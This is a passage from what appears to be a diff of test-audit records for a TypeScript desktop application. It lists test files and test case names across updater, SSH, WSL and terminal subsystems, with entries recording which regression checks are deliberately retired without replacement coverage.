src/main/updater/linux-package/linux-package-update-recovery.test.ts, src/main/updater/releases/updater-prerelease-feed-readiness.test.ts, src/main/updater/releases/updater-release-builds.test.ts, src/main/updater/updater.build-channel-selection.test.ts, src/main/updater/updater.check-preflight.test.ts, src/main/updater/updater.prerelease-fallback.test.ts, src/main/updater/updater.publishing-window-feed.test.ts, src/main/updater/updater.quit-and-install.test.ts, src/main/window/createMainWindow-markdown-editor-focus.test.ts, src/main/window/createMainWindow-renderer-crash-recovery.test.ts, src/main/window/dashboard-popout-window.test.ts, src/main/window/dropped-path-preparation.test.ts, src/main/window/main-window-updater-deferred-setup.test.ts, src/main/worker-threads/worker-thread-request-queue.test.ts, src/main/workspace-hooks/hooks-setup-runner-script.test.ts, src/main/workspaces/catalog/repo-git-remote-identity-enrichment.test.ts, src/main/workspaces/creation/preparation/worktree-create-preparation.test.ts, src/main/workspaces/removal/local-worktree-removal-recovery.test.ts, src/main/workspaces/removal/worktree-removal-safety.test.ts, src/main/wsl/discovery/distro-catalog.test.ts, src/main/wsl/discovery/wsl-distro-holder.test.ts, src/main/wsl/filesystem/wsl-guest-drive-mountinfo.test.ts, src/main/wsl/orcad/wsl-orcad-deploy-app-update.test.ts, src/renderer/src/components/agent/agent-launch-picker-acquisition.test.ts, src/renderer/src/components/feature-tips/feature-tip-telemetry.test.ts, src/renderer/src/components/native-chat/composer/pickers/use-native-chat-side-chat-command.test.ts, src/renderer/src/components/native-chat/media/images/native-chat-image-copy.test.ts, src/renderer/src/components/native-chat/messages/actions/native-chat-fork-launch.test.ts, src/renderer/src/components/native-chat/messages/actions/native-chat-side-chat-fork-point.test.ts, src/renderer/src/components/native-chat/messages/actions/use-native-chat-fork.test.tsx, src/renderer/src/components/terminal-pane/provider-notices/agent-presence/agent-terminal-presence.test.ts, src/renderer/src/components/terminal-pane/pty-connection/emulation/pty-connection-mode2031-raw-subscription.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/input/pty-connection-deferred-input-forwarding.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/notifications/pty-connection-terminal-bell-attention.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-dropped-output-snapshot-healing.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/output/pty-connection-fresh-native-follow-reset.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/spawn/unbound-pane-spawn-recovery.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-foreground-agent.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts, src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-dispatcher-delivery-interest.test.ts, src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-dispatcher-push-reattach.test.ts, src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-opencode-model.test.ts, src/renderer/src/components/terminal-pane/pty-transport/output/pty-side-effect-pending-census.test.ts, src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-prebind-discard-notice.test.ts, src/renderer/src/components/terminal-pane/render-health/terminal-webgl-atlas-recovery.test.ts, src/renderer/src/components/terminal-pane/snapshots/pty-buffer-serializer.test.ts, src/renderer/src/components/terminal-pane/snapshots/saved-terminal-output-replay.test.ts, src/renderer/src/components/terminal-pane/viewport/split-right-white-screen.test.ts, src/renderer/src/components/terminal-pane/viewport/visibility/stale-document-visibility.test.ts, src/renderer/src/components/ui/security-surface-theme-contrast.test.tsx, src/renderer/src/components/use-terminal-parking-pass.test.tsx, src/renderer/src/hooks/client-workspace-view-report.test.ts, src/renderer/src/hooks/ipc-events/terminal-request-ipc-bridge-placement.test.ts, src/renderer/src/hooks/use-bundled-skill-install.test.tsx, src/renderer/src/hooks/useGitHubSlugMetadata.assignee-reuse.test.tsx, src/renderer/src/hooks/useSettingsNavigationMetadata.language-switch.test.tsx, src/renderer/src/lib/codex-stale-pane-account-identity.test.ts, src/renderer/src/lib/image-blob-png.test.ts, src/renderer/src/lib/react-commit-cascade-store-write-samples.test.ts, src/renderer/src/lib/work-items/linear/linear-issue-context-snapshot.test.ts, src/renderer/src/runtime/rpc/targets/use-worktree-runtime-target.test.ts, src/renderer/src/runtime/source-control/git/runtime-git-branch-client.test.ts, src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-key-reuse.test.ts, src/renderer/src/store/repos/repos-catalog-request-coordination.test.ts, src/renderer/src/store/slices/tabs/hydrated-workspace-reconciliation-batch.test.ts, src/renderer/src/store/slices/tabs/hydrated-workspace-reconciliation-fixture.ts, src/renderer/src/store/slices/worktrees/metadata/update-worktrees-meta.test.ts, src/renderer/src/store/slices/worktrees/metadata/worktree-meta-rename.test.ts, src/renderer/src/store/terminals/store-sleep-shutdown-order.test.ts, src/renderer/src/store/terminals/terminal-first-tab-publication.test.ts, src/renderer/src/store/terminals/workspace-terminal-reconnect-hydration.test.ts, src/renderer/src/web/web-runtime-connection-auth-framing.test.ts, src/shared/terminal/appearance/terminal-font-weight-windows-regular.test.ts, tests/e2e/claude-agent-row-view.unit.test.ts, tests/e2e/cross-version-wire/agent-permission-legacy-spawn.unit.test.ts, tests/e2e/paired-instant-browser-tab.spec.ts, tests/e2e/session-tabs-decorative-title-fanout.unit.test.ts, tests/e2e/session-tabs/mobile-session-active-performance.unit.test.ts, tests/e2e/session-tabs/mobile-session-active-publication.unit.test.ts, tests/e2e/structured-agent-session-launch-admission.unit.test.ts, tests/e2e/structured-attention-prompt-relay.unit.test.ts, tests/e2e/structured-attention-read-retirement.unit.test.ts, tests/e2e/structured-chat-tab-lifetime-cost.unit.test.ts, tests/e2e/structured-session-workspace-authority.unit.test.ts, tests/e2e/terminal-agent-pane-launch.unit.test.ts, tests/e2e/terminal-parked-memory.spec.ts, tests/e2e/terminal-shortcuts.spec.ts, tests/e2e/terminal-split-activation-latency.spec.ts, tests/e2e/terminal-split-activation-latency-phases.ts, tests/e2e/terminal-split-activation-latency-main-probe.ts, tests/e2e/terminal-split-activation-latency-artifact.ts, tests/e2e/terminal-split-activation-latency-report.ts, tests/e2e/terminal-tab-switch-visual-restore.spec.ts, tests/e2e/web-runtime-session-terminal-host-authority.unit.test.ts. Unresolved local/computed edges remain explicit debt.",
         "Audit2095 current-parent preparation2126 (approved2092/2093 removals; source refresh2109/independent2112): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-sleep-and-teardown-part-03.spec.ts: rejects exact terminal stop for multiple expected PTYs before stopping anything; omits stale renderer leaves when fresh PTY liveness is required; omits unbound renderer placeholders when fresh PTY liveness is required; captures the event method before the nested sleep receipt changes it; returns the close receipt without requiring a PTY stop; uses the same stop result as an empty explicit stop. src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-04.spec.ts: builds a compact worktree summary from persisted and live runtime state; reads the linked-PR state from the renderer repoId-keyed GitHub cache; carries persisted worktree host ownership in mobile summaries; emits only instance- and boundary-validated lineage parents in mobile summaries; resolves WSL platforms only for repos represented in mobile summaries; omits worktrees hidden by the host visibility policy from mobile summaries; applies linked-checkout source visibility to mobile summaries. src/main/runtime/orca-runtime-tests/hooks-and-hosted-review-part-02.spec.ts: routes runtime GitHub PR details and actions through the selected WSL project runtime; passes SSH connection context through hosted review creation flows; routes local WSL project hosted review flows through runtime git options; treats SSH worktree drift as unknown without local git probes. src/main/runtime/orca-runtime-tests/terminal-listing.spec.ts: emits one mobile session terminal tab per live PTY even if two tabs resolve to it; resolves projected split authority from the parent layout PTY binding; keeps explicit-id terminal lists from resolving all worktrees; keeps explicit-id cold-cache terminal lists from classifying unrelated same-repo worktrees; keeps unknown bare terminal-list ids on the no-scan exact-id path; matches explicit-id cwd PTYs for folder workspace instance IDs; routes PTY output through the PTY leaf index in large terminal graphs. src/main/runtime/orca-runtime-tests/window-authority.spec.ts: claims the first window as authoritative and ignores later windows; transfers authority from the headless sentinel to the first real window; relays terminal browser launches only while headless owns the graph; marks live headless PTYs for renderer reattach before desktop promotion; reports the activation gate state while no desktop window is available; bumps the epoch and enters reloading when the authoritative window reloads; can mark the graph ready for the authoritative window; drops back to unavailable and clears authority when the window disappears; hands the graph back to headless when a promoted serve window closes (#27292); keeps a crashed promoted serve renderer on its own window while the window is open; stays unavailable during initial loads before a graph is published. src/main/runtime/orchestration/mailbox/routing/orchestration-mailbox-routing-races.spec.ts: stops paged routing when the check is cancelled; keeps an unfiltered redrive unrestricted when reservations merge; keeps an unfiltered parked delivery unrestricted when reservations merge; uses a bounded indexed pane lookup for reminted Dispatch identity. src/main/runtime/workspaces/removal/worktree-teardown-unstopped-pty.test.ts: removes the reported wedged automation workspace without --force; clears PTY state once a failed stop is proven to have exited; names only the PTYs that are actually live, not every failed stop; warns with the specific sweep failure, not the generic deadline; still fails closed on a sweep-level failure without force. src/main/skills/bundled-skill-install/layouts.test.ts: links into a project only where its agent folder already exists; reads a pending cloud transaction as busy and a cloud receipt as another skill. src/main/skills/skill-upload-session-service.test.ts: joins concurrent disposal callers through exact cleanup completion. src/main/source-control/hosted-review-creation.test.ts: creates the pull request after fresh main-process validation passes; routes local WSL git and GitHub review creation through the selected runtime; creates a pull request on a GitHub Enterprise Server remote (#8312); creates a GitLab merge request after fresh main-process validation passes; creates an Azure DevOps pull request after fresh main-process validation passes; creates a Gitea pull request after fresh main-process validation passes. src/main/source-control/hosted-review-execution-host-routing.test.ts: reads a GitHub review on the SSH host a row names only in executionHostId; reads a GitLab review on the executionHostId host when connectionId names a different one; does not dial this client for a runtime row whose nested target shares a local name; keeps a runtime row with no nested target on this process (self-addressed stamp); keeps a legacy connectionId-only SSH row on its target; does not share a cached answer between two rows at one path on different hosts; creates a Bitbucket review locally for a runtime row rather than dialing its nested target; reports creation eligibility from the executionHostId-only SSH host; resolves the GitHub slug for a repo listing on the row it is asked about; refuses to dial a runtime host from this process; answers with the SSH target for both spellings and local otherwise; reads a runtime stamp on a row in this store as self-addressing, not a second machine. src/main/source-control/hosted-review-inflight-invalidation.test.ts: keeps other hosts, paths and their pending promises isolated. src/main/speech/model-manager.test.ts: requires pinned, internally consistent metadata for every model file; verifies downloaded model file hashes before installation; rejects non-HTTPS model downloads; marks OpenAI transcription models ready only when an API key is configured. src/main/ssh/connection/ssh-connection-sftp-namespace.test.ts: writes to the SFTP namespace path discovered on the same session; uploads the bundle into the SFTP namespace directory; issues no discovery requests when the caller supplies no mapping; ignores a mapping on a Windows host; never resolves on the system-SSH transport; leaves writeBuffer and openFileUploadSession on the shell path; keeps the shell path when discovery is inconclusive; preserves a session-limit channel-open error unchanged. src/main/ssh/connection/ssh-connection-system-transport.test.ts: uses system SSH transport when ProxyUseFdpass is resolved by OpenSSH; allows concurrent exec commands for system SSH with an Orca ControlMaster socket; keeps concurrent exec commands disabled for system SSH without a reusable socket; uses system SSH transport for ProxyCommand targets before ssh2 auth; keeps the original ssh2 reachability error when the system SSH probe fails; reports the system SSH failure when ssh2 cannot negotiate with the host; uses system transport for target or resolved OpenSSH proxy directives; allows an environment override for e2e coverage; ignores stale imported proxy fields when fresh OpenSSH config has no proxy. src/main/ssh/orcad-migration-catalog-client.test.ts: keeps each server project’s execution host, so a nested SSH row is never read as local; reads the server’s folder workspaces and the groups that place them on a host; sends and validates the %s operation; validates an abort result without letting it erase committed state; validates a committed receipt against the requested manifest; rejects malformed stage timestamps and abort envelopes; fails closed for method absence, malformed identity, and invalid pairing; refuses a destination without the capability before sending any migration request; reads method-not-found as the same refusal, not as a lost answer. src/main/ssh/runtime-ssh-access.test.ts: persists intent then claim before connecting and publishes redacted authenticated access; names the saved dependency when dependent state blocks an SSH access link; handles lost link responses without connecting or verifying again; invalidates old transport only after authenticated access is published; rejects changed request tuple after a completed link; rejects provisioning and missing durable generations without connecting; treats a lost successful unlink response as an idempotent no-op; hashes connection identity, not display state or owner; strictly validates ports and request IDs. src/main/startup/cli-launch-redirect.test.ts: detects a launch that received the unpacked CLI entrypoint; ignores normal desktop launches; ignores the entrypoint when it is only the executable itself (argv[0]); applies on Linux too; strips injected Chromium switches before node-mode CLI arguments; keeps user flags after the command and malformed boolean assignments; does not treat a later positional entrypoint path as the launcher; redirects a direct binary launch with no AppImage env at all; strips Chromium switches node mode would reject; preserves desktop-shaped switches after the command; leaves direct serve in-process but redirects its help; treats help as a CLI launch even without a command; treats %s as a CLI launch even without a command; does not treat a value of %s as a CLI early-exit flag; does not treat a serve option value as a help request; does not reinterpret help after the argument terminator; leaves a plain desktop launch alone; skips flag values when looking for the command positional; preserves a project selector in %j; does not apply the command form on macOS or Windows; never redirects an unpackaged build; runs the in-package CLI in Electron node mode with sanitized env; refuses to redirect twice so a dropped ELECTRON_RUN_AS_NODE cannot loop; reports a missing CLI entrypoint instead of booting the desktop app; execs a direct serve into the CLI so it keeps its pid and honours profile and supervise; keeps ORCA_USER_DATA_PATH for a direct serve without --user-data-dir; serves in-process when this runtime cannot exec or the exec fails; never execs the --serve child the CLI itself spawns, or serve on other platforms; surfaces a spawn failure as a non-zero exit; re-execs a direct --serve onto X11 when Electron resolved Wayland; leaves $name alone. src/main/startup/main-process-runtime-launch-activation.test.ts: marks startup settled for the launch record only after the window has loaded and settled; loads SSH targets on a windowless serve before paired clients can connect (#25886); pins the serve listener to loopback only for orcad browser sidecars (sidecar=$sidecar, #31895); saves Codex auth before a headless serve update restart, like the desktop does. src/main/startup/run-electron-vite-dev.test.ts: forwards dev instance identity to electron-vite; prepares userData orca and orca-dev wrappers for dev terminals; consumes the stable-name flag before forwarding args to electron-vite. src/main/updater/releases/updater-prerelease-feed.test.ts: returns the newest stable tag when the user is on an RC and a newer stable exists; returns the newest RC tag when no stable is newer than the current RC; can exclude prerelease tags for stable-channel checks; probes the %s %s platform manifest; returns null for stable-channel checks when only prereleases are newer; returns null when nothing in the feed is newer than the current version; ignores entries with unparseable tags; returns null when the fetch is not ok; returns null when the fetch throws; picks semver-newest across a mixed-order feed; ignores perf-tagged prereleases for regular RC checks; reports no RC update when only perf-tagged prereleases are newer; picks the semver-newest perf-tagged prerelease; matches only literal rc.N.perf prerelease tags for perf checks; reports no perf update instead of falling back to stable or RC tags; returns a bounded fallback candidate after the newest newer tag; returns null when the only newer tag has a manifest but its asset still 404s; requires a known old timestamp for a stable-fallback tag. src/main/updater/updater-events.test.ts: hands the whole downloaded event to artifact capture; publishes manual-install recovery after a %s download; publishes the normal downloaded state for AppImage builds; blocks downloaded-state handling when the packaged marker is unusable; passes the actual updater error into the install-failure handler; keeps manual-install recovery when a later check finds only the installed release; drops the artifact when another version takes over the cycle; ignores a downloaded event for an older target; accepts a matching event when the pending cache target was cleared; drops the artifact when progress reports a different pending version. src/main/updater/updater-linux-package-recovery-actions.test.ts: rejects both actions while no package-install recovery is active; validates the retained package on every invocation; restores recovery after a recheck resolves without a terminal event; restores recovery after a recheck fails; restores recovery when a pinned check resolves to the current version; restores recovery when resolving a pinned check fails; clears recovery for both actions once the package is gone; resolves %s as a result and keeps the card usable instead of rejecting; keeps recovery available after a transient read failure. src/main/updater/updater.check-settlement.test.ts: leaves a dismissed release update on the release source; surfaces net::ERR_FAILED to user-initiated checks with a friendly message; shows checking immediately for a user-initiated check while feed pinning is pending; keeps background checks event-driven before checking-for-update fires. src/main/usage/usage-provider-store-lifecycle.test.ts: persists identities for a whole first scan with one write; skips disabled and fresh matching states; invalidates prior sources on fingerprint changes and reuses them for forced scans. src/main/window/createMainWindow-close-confirmation.test.ts: clears the quit latch when the renderer prevents unload; does not notify the crash recorder when renderer teardown follows a confirmed window close; allows close when Electron reports a crashed webContents; requests confirmation for a hung-but-alive renderer instead of bypassing. src/main/workspaces/catalog/worktree-identity-persistence.test.ts: stores independent metadata for colliding locators on two hosts; projects canonical-only metadata for exactly one host; keeps canonical metadata current for legacy writers on a known owner; removes only the selected legacy-owner metadata when locators collide; keeps the canonical identity stable when the locator changes; leaves other hosts at the old locator when one host renames its folder. src/main/wsl/filesystem/wsl-drive-unc-conversion-startup.test.ts: leaves a journaled conversion untouched with the gate closed, %s. src/main/wsl/orcad/wsl-orcad-deploy.test.ts: holds the distro before it deploys and launches, and reports what C5 dials; passes its connect-state read (%s) on as hints; applies the SSH census and downgrade admission to the first deploy; refuses a WSL 1 distro before holding it or touching its files; tells an unregistered distro how to find the installed ones, before holding anything; surfaces an unsupported libc as the SSH host refusal does; starts an already-active slot the distro stop ended, instead of reporting it ready; deploys over an adopted unrecorded orcad under the SSH terminal gate, never a fresh launch; reports the adopted instance once the same version is serving; returns a deferral rather than launching over live terminals; hands a failed first deploy to the fresh-install cleanup before reporting it. src/main/zcode/zcode-v2-plan-credentials.test.ts: prefers migrated credentials over a stale legacy account; keeps legacy support when no personal v2 file exists; honors the upstream personal config override independently of the credential directory; does not borrow credentials from another execution host; preserves the protected Orca key priority even if v2 is corrupt; rejects upstream-invalid selection %j without legacy fallback; accepts a valid optional reasoning level; rejects upstream-invalid rule containers %j without legacy fallback; accepts a valid selected-provider empty personal rule and smart model rule; cannot establish selected credentials from %s rules; leaves encrypted CLI files unchanged across repeated account reads. tests/e2e/automation-terminal-launch.unit.test.ts: launches explicit Chat for %s through the common entry and keeps its actual fallback; does not apply stored Terminal extras to Chat; forwards only complete Chat-consumed values, with no Terminal startup base; refuses an expired admission without minting another launch identity; records the actual chat identity and delegates new workspace setup and provenance. tests/e2e/github-project-provider-columns.unit.test.ts: renders %s through one bounded items request on a named cloud host; preserves zero and complete counters: %j; preserves populated and legacy rows through shared sorting, grouping and cells. tests/e2e/structured-agent-session-launch-continuation.unit.test.ts: carries renderer lifetime through host intent to the real %s provider builders. tests/e2e/terminal-account-restart.unit.test.ts: replaces a tombstoned owner while its persisted pane binding has not yet been cleared; paired restart retains the old owner (host authority: %s). tests/e2e/terminal-hidden-view-parking.spec.ts: does not park excluded tabs; reproduces a static frame byte-for-byte across 25 park/reveal cycles. tests/e2e/terminal-long-table-scroll-restore.spec.ts: reproduces long markdown table artifacts after workspace switch and scroll; keeps narrow wrapped signer markdown table coherent after restore and scroll; keeps real emoji markdown table right edge clean after restore and scroll. tests/e2e/terminal-long-table-fixtures.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-paste-ownership.spec.ts: Windows multiline keyboard paste normalizes terminal newlines with one PTY owner; right-click paste sends clipboard text to the focused terminal exactly once. tests/e2e/terminal-raw-emoji-table-scroll-restore.spec.ts: uses WebGL by default for ordinary terminal output when available @terminal-rendering-golden. tests/e2e/terminal-windows-shell-paste-ownership.spec.ts: cmd.exe default terminal keyboard paste preserves exact content with one PTY owner; Git Bash default terminal keyboard paste preserves POSIX-shaped content with one PTY owner; WSL terminal keyboard paste preserves Linux shell content with one PTY owner. tests/e2e/workspace-board-lane-virtualization.spec.ts: mounts a window of cards for a large lane and keeps lane indexes; renders later lane indexes after the lane scrolls. Current changed source bytes, wrapper registrations and reduced selectors have no fresh execution or red/green credit. Unrelated surviving receipt objects keep their original narrow scope; current literal graph reachability does not establish historical import closure or equivalent replacement coverage. Current conservative command/import graph reaches src/main/runtime/orca-runtime-tests/terminal-sleep-and-teardown-part-03.spec.ts, src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-04.spec.ts, src/main/runtime/orca-runtime-tests/hooks-and-hosted-review-part-02.spec.ts, src/main/runtime/orca-runtime-tests/terminal-listing.spec.ts, src/main/runtime/orca-runtime-tests/window-authority.spec.ts, src/main/runtime/orchestration/mailbox/routing/orchestration-mailbox-routing-races.spec.ts, src/main/runtime/workspaces/removal/worktree-teardown-unstopped-pty.test.ts, src/main/skills/bundled-skill-install/layouts.test.ts, src/main/skills/skill-upload-session-service.test.ts, src/main/source-control/hosted-review-creation.test.ts, src/main/source-control/hosted-review-execution-host-routing.test.ts, src/main/source-control/hosted-review-inflight-invalidation.test.ts, src/main/speech/model-manager.test.ts, src/main/ssh/connection/ssh-connection-sftp-namespace.test.ts, src/main/ssh/connection/ssh-connection-system-transport.test.ts, src/main/ssh/orcad-migration-catalog-client.test.ts, src/main/ssh/runtime-ssh-access.test.ts, src/main/startup/cli-launch-redirect.test.ts, src/main/startup/main-process-runtime-launch-activation.test.ts, src/main/startup/run-electron-vite-dev.test.ts, src/main/updater/releases/updater-prerelease-feed.test.ts, src/main/updater/updater-events.test.ts, src/main/updater/updater-linux-package-recovery-actions.test.ts, src/main/updater/updater.check-settlement.test.ts, src/main/usage/usage-provider-store-lifecycle.test.ts, src/main/window/createMainWindow-close-confirmation.test.ts, src/main/workspaces/catalog/worktree-identity-persistence.test.ts, src/main/wsl/filesystem/wsl-drive-unc-conversion-startup.test.ts, src/main/wsl/orcad/wsl-orcad-deploy.test.ts, src/main/zcode/zcode-v2-plan-credentials.test.ts, tests/e2e/automation-terminal-launch.unit.test.ts, tests/e2e/github-project-provider-columns.unit.test.ts, tests/e2e/structured-agent-session-launch-continuation.unit.test.ts, tests/e2e/terminal-account-restart.unit.test.ts, tests/e2e/terminal-hidden-view-parking.spec.ts, tests/e2e/terminal-long-table-scroll-restore.spec.ts, tests/e2e/terminal-long-table-fixtures.ts, tests/e2e/terminal-paste-ownership.spec.ts, tests/e2e/terminal-raw-emoji-table-scroll-restore.spec.ts, tests/e2e/terminal-windows-shell-paste-ownership.spec.ts, tests/e2e/workspace-board-lane-virtualization.spec.ts. Unresolved local/computed edges remain explicit debt.",
@@ -13177,7 +12869,21 @@
         "Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed.",
         "Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed.",
         "Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed.",
-        "Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired."
+        "Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired.",
+        "Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands.",
+        "Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims.",
+        "Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical.",
+        "Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed.",
+        "Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed.",
+        "Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed.",
+        "Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay 